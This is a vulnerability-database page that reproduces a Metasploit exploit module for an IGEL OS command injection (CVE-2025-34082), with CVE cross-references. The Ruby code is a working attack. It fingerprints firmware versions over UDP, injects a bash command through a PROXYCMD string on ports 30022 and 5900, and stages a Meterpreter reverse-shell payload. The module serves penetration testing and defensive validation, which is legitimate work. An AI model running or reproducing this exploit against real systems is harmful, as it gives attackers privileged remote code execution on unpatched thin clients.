Lucene search
K

IGEL OS Secure VNC/Terminal Command Injection RCE

🗓️ 01 May 2021 17:42:44Reported by Rob Vinson, James Brytan, James Smith, Marisa Mack, Sergey Pashevkin, Steven LauraType 
metasploit
 metasploit
🔗 www.rapid7.com👁 213 Views

IGEL OS Secure VNC/Terminal Command Injection RCE. Exploits command injection vulnerability in IGEL OS Secure Terminal and Secure Shadow services. Both services (telnet_ssl_connector - 30022/tcp) and (vnc_ssl_connector - 5900/tcp) are vulnerable

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-34082
30 Apr 202120:56
circl
CNNVD
IGEL OS 安全漏洞
3 Jul 202500:00
cnnvd
CVE
CVE-2025-34082
3 Jul 202519:46
cve
Cvelist
CVE-2025-34082 IGEL OS Secure Terminal and Secure Shadow Remote Code Execution
3 Jul 202519:46
cvelist
EUVD
EUVD-2025-19904
3 Oct 202520:07
euvd
NVD
CVE-2025-34082
3 Jul 202520:15
nvd
Positive Technologies
PT-2025-27825 · Igel · Igel Os
3 Jul 202500:00
ptsecurity
RedhatCVE
CVE-2025-34082
5 Jul 202520:04
redhatcve
Vulnrichment
CVE-2025-34082 IGEL OS Secure Terminal and Secure Shadow Remote Code Execution
3 Jul 202519:46
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
        'Description' => %q{
          This module exploits a command injection vulnerability in IGEL OS Secure Terminal
          and Secure Shadow services.

          Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
          Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rob Vinson',         # Discovery
          'James Brytan',       # Research and testing
          'James Smith',        # Research and testing
          'Marisa Mack',        # Research and testing
          'Sergey Pashevkin',   # Research and testing
          'Steven Laura'        # Research and testing
        ],
        'References' => [
          [ 'CVE', '2025-34082' ],
          [ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
          [ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
        ],
        'Targets' => [
          [
            'Secure Terminal Service',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :cmd,
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
            }
          ],
          [
            'Secure Shadow Service',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :cmd,
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
            }
          ],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2021-02-25',
        'CmdStagerFlavor' => ['printf'],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependFork' => true
        },
        'Notes' => {
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        }
      )
    )

    register_advanced_options(
      [
        # must enable SSL
        OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
      ]
    )
  end

  def check
    probe = '<igel_scan></igel_scan>'

    connect_udp(true, 'RPORT' => 30005)
    udp_sock.put(probe)
    res = udp_sock.recvfrom(65535, 0.5)
    disconnect_udp

    unless res && res[0]
      return Exploit::CheckCode::Unknown
    end

    probe_response = res[0]
    matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
    unless matches
      return Exploit::CheckCode::Unknown
    end

    version = matches.captures[0]
    vprint_status("IGEL OS Version: #{version}")
    version = Rex::Version.new(version)

    if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
      return Exploit::CheckCode::Appears
    elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
      return Exploit::CheckCode::Safe
    elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def execute_command(cmd, _opts = {})
    vprint_status("executing: #{cmd}")
    connect
    sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
  ensure
    disconnect
  end

  def exploit
    execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Mar 2026 19:00Current
7.6High risk
Vulners AI Score7.6
CVSS 49.3
EPSS0.67135
SSVC
213